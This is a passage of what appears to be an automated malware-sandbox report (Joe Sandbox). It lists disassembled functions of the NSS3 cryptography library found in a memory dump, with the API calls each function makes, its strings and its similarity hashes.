Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77AE93
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C77AECC
PL_FreeArenaPool.NSS3 ref: 6C77AEDE
PL_FinishArenaPool.NSS3 ref: 6C77AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77AEF5
PL_FinishArenaPool.NSS3 ref: 6C77AF16

Strings

security, xrefs: 6C77ADEE

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 47f78138e519e5a63728c0442528aca258328ee6e26b23ed04b45b6de50e89f8
Instruction ID: f1ca5f62e63362efbbfcefc0f4f31e0a639e24252ae5fceb298aa0420b2019bb
Opcode Fuzzy Hash: 47f78138e519e5a63728c0442528aca258328ee6e26b23ed04b45b6de50e89f8
Instruction Fuzzy Hash: 664126B1904208A7FF315B159E4EBAA32ACAF5232DF541635E81492F41FB75D60886F3

Function 6C81AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7C9890: TlsGetValue.KERNEL32(?,?,?,6C7C97EB), ref: 6C7C989E

EnterCriticalSection.KERNEL32(?), ref: 6C81AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C81AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C81AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C81AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C81B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C81B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C81B070
PR_JoinThread.NSS3(?), ref: 6C81B07B
free.MOZGLUE(?), ref: 6C81B084
EnterCriticalSection.KERNEL32(?), ref: 6C81B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C81B0C4
PR_JoinThread.NSS3(?), ref: 6C81B0F3
free.MOZGLUE(?), ref: 6C81B0FC
PR_JoinThread.NSS3(?), ref: 6C81B137
free.MOZGLUE(?), ref: 6C81B140

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9348e060a05609b5fdf48c05f13947d95b57e0320873e6a34f8f9d02a57dee76
Instruction ID: ade8fa65ac2569e34a550ab842bde843d8e94d14a5c6d76e7f6204f9d31d7681
Opcode Fuzzy Hash: 9348e060a05609b5fdf48c05f13947d95b57e0320873e6a34f8f9d02a57dee76
Instruction Fuzzy Hash: 52917EB5A04602DFCB50DF15C984856BBF1FF4931C72985A9D8195BB22E732FC4ACB81

Function 6C795CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C792BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792BF0
Part of subcall function 6C792BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792C07
Part of subcall function 6C792BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792C1E
Part of subcall function 6C792BE0: free.MOZGLUE(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792C4A

free.MOZGLUE(?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D0F
free.MOZGLUE(?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D4E
free.MOZGLUE(?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D62
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D85
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D99
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C795E3E
free.MOZGLUE(?,?,?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C795E47
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C795E78
free.MOZGLUE(?,?,?,?,?,?,?,6C79AAD4), ref: 6C795EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C79AAD4), ref: 6C795EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C795F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C795F4B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 8b006ca9e21f51af4f63f5db5a8c5c91a22afffbc3f4d81a92174a4e84635217
Instruction ID: 0b2950ab3b2628d9b8df0c7511c7738c246d28147aabce8c2e647c0f64a1e4c0
Opcode Fuzzy Hash: 8b006ca9e21f51af4f63f5db5a8c5c91a22afffbc3f4d81a92174a4e84635217
Instruction Fuzzy Hash: C371C2B4A00B009FD751CF20E989A92B7B5FF89309F148638E85E87B11E732F915CB91

Function 6C718DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C718E22
EnterCriticalSection.KERNEL32(?), ref: 6C718E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C718E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C718E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C718E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C718EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C718EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C718EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C718F00
free.MOZGLUE(?), ref: 6C718F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C718F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C718F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C718F5B
PR_Unlock.NSS3(?), ref: 6C718F72
PR_Unlock.NSS3(?), ref: 6C718F82

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 042b207c13e51a2fdb9bae6ad52acbc1078f5ea72b612f30547a99bc21f07fed
Instruction ID: 7febcb0046aabc4f92cb833f9eec63656a799f4ad942e7bde7ee903c27cd265b
Opcode Fuzzy Hash: 042b207c13e51a2fdb9bae6ad52acbc1078f5ea72b612f30547a99bc21f07fed
Instruction Fuzzy Hash: 2A5106B2D042059FE7108E68CD849AAB7B9EF45318F1A4539EC089BF00E731ED4587D1

Function 6C73CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C73CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C73CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C73CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C73CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C73CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C73CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C73CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C73CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C73CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C73CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C73CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C73CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C73CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C73D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C73D021

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: d4bf285ae2deb66f46143bc34a32f456365c1ec4d679cb35de28c54153722cbf
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 6631237176292027EF0E50565F2DBDE144A4B6570EF841038F94AE57C1FBCA962702A9

Function 6C810FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C811000

Part of subcall function 6C7C9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6F1A48), ref: 6C7C9BB3
Part of subcall function 6C7C9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F1A48), ref: 6C7C9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C811016

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_Unlock.NSS3(?), ref: 6C811021

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C811046
PR_Unlock.NSS3(?), ref: 6C81106B
PR_Lock.NSS3 ref: 6C811079
PR_Unlock.NSS3 ref: 6C811096
free.MOZGLUE(?), ref: 6C8110A7
free.MOZGLUE(?), ref: 6C8110B4
PR_DestroyCondVar.NSS3(?), ref: 6C8110BF
PR_DestroyCondVar.NSS3(?), ref: 6C8110CA
PR_DestroyCondVar.NSS3(?), ref: 6C8110D5
PR_DestroyCondVar.NSS3(?), ref: 6C8110E0
PR_DestroyLock.NSS3(?), ref: 6C8110EB
free.MOZGLUE(?), ref: 6C811105

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 2083544125214590cd9bfa16def9989024a057fe55cd3e045eb7bcf64b661038
Instruction ID: ca9553b5c03eaa62183eb6ea3586197218d4f9954688533e46560c0e72b2a353
Opcode Fuzzy Hash: 2083544125214590cd9bfa16def9989024a057fe55cd3e045eb7bcf64b661038
Instruction Fuzzy Hash: E831AFB9900402AFD7119F10EE4AA45BBB2BF1131CB084231E80903F61E732F878DBD6

Function 6C68DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C68DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C68DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C68DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C68DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68DECD

Strings

%s at line %d of [%.10s], xrefs: 6C68DF7C, 6C68DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68DF6D, 6C68DFCC, 6C68DFDD
database corruption, xrefs: 6C68DF77, 6C68DFE7

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: aaa8987bbb4e519171f223746a229fd2ff9b189740c24443176d41d9c9642208
Instruction ID: 71490a6ea7a00de47fcafa1378a9ff52706f4575af5b555b202b7c3e9a566528
Opcode Fuzzy Hash: aaa8987bbb4e519171f223746a229fd2ff9b189740c24443176d41d9c9642208
Instruction Fuzzy Hash: DAA1F7716052129FC710DF29C880A6BB7F5EF85318F15896EF8899BB41D730E845CBB5

Function 6C74EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C74EE0B

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74EEE1

Part of subcall function 6C741D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C741D7E
Part of subcall function 6C741D50: EnterCriticalSection.KERNEL32(?), ref: 6C741D8E
Part of subcall function 6C741D50: PR_Unlock.NSS3(?), ref: 6C741DD3

TlsGetValue.KERNEL32 ref: 6C74EE51
EnterCriticalSection.KERNEL32(?), ref: 6C74EE65
PR_Unlock.NSS3(?), ref: 6C74EEA2
free.MOZGLUE(?), ref: 6C74EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C74EED0
PR_Unlock.NSS3(?), ref: 6C74EF48
free.MOZGLUE(?), ref: 6C74EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C74EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C74EFA4
free.MOZGLUE(?), ref: 6C74EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C74F055
free.MOZGLUE(?), ref: 6C74F060

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 76af56d94e40bd125f257b366ce72d627382f26af8949997be2abb77a6d77ec7
Instruction ID: 2dd6011ae373733a7db56b31d6e41587ab6e60ed76628556b97b019cb0f0f081
Opcode Fuzzy Hash: 76af56d94e40bd125f257b366ce72d627382f26af8949997be2abb77a6d77ec7
Instruction Fuzzy Hash: 23818475A00219ABEB40DFA5DD49EDEBBB9BF08318F544034E909A3611E731E924CBE1

Function 6C714CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C714D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C714D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C714DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C714E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C714E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C714E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C714E85
DER_Encode_Util.NSS3(?,?,6C8605A4,00000000), ref: 6C714EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C714F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C714F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C714F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C714F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C714F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C714FC8

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 42dbf3fc75613c57e6f0d2b0d47834e2cc6edf08746c9e6e497b3694213b1203
Instruction ID: cb67e5d9e4648986da3ddf1722b920506a9be8e2cedbf489923b9ba56acbce98
Opcode Fuzzy Hash: 42dbf3fc75613c57e6f0d2b0d47834e2cc6edf08746c9e6e497b3694213b1203
Instruction Fuzzy Hash: C181A271908301AFE711CF25DA44B5AB7E8AB8475CF1C852DF958DBB40E731EA08CB92

Function 6C755C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C755C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C755CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C755CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C755D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C755D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C755D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C755E18
TlsGetValue.KERNEL32 ref: 6C755E5E
EnterCriticalSection.KERNEL32(?), ref: 6C755E72
PR_Unlock.NSS3(?), ref: 6C755E8B

Part of subcall function 6C74F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C74F854
Part of subcall function 6C74F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C74F868
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C74F882
Part of subcall function 6C74F820: free.MOZGLUE(04C483FF,?,?), ref: 6C74F889
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C74F8A4
Part of subcall function 6C74F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C74F8AB
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C74F8C9
Part of subcall function 6C74F820: free.MOZGLUE(280F10EC,?,?), ref: 6C74F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C755D3D
d, xrefs: 6C755C36

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 6fdfc4c4bcf87b119f6eae8469b0995be576a2c9802b9775b7103276692051ee
Instruction ID: b77a3869ba8418b6c6c1ff8eb975d92e0de3d2116c8beeec4c382c5e3ae2cdfd
Opcode Fuzzy Hash: 6fdfc4c4bcf87b119f6eae8469b0995be576a2c9802b9775b7103276692051ee
Instruction Fuzzy Hash: 787117F1F042019BEB419F25EE4976A3279AF4531CF944039E8099AB42EF36E935C7D2

Function 6C748F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C749582), ref: 6C748F5B

Part of subcall function 6C75BE30: SECOID_FindOID_Util.NSS3(6C71311B,00000000,?,6C71311B,?), ref: 6C75BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C748F6A

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C748FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C748FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C82D820,6C749576), ref: 6C748FF9
DER_GetInteger_Util.NSS3(?), ref: 6C74901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C74903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C749062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C7490A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C7490CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C7490F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C74912D
free.MOZGLUE(00000000), ref: 6C749136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C749145

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

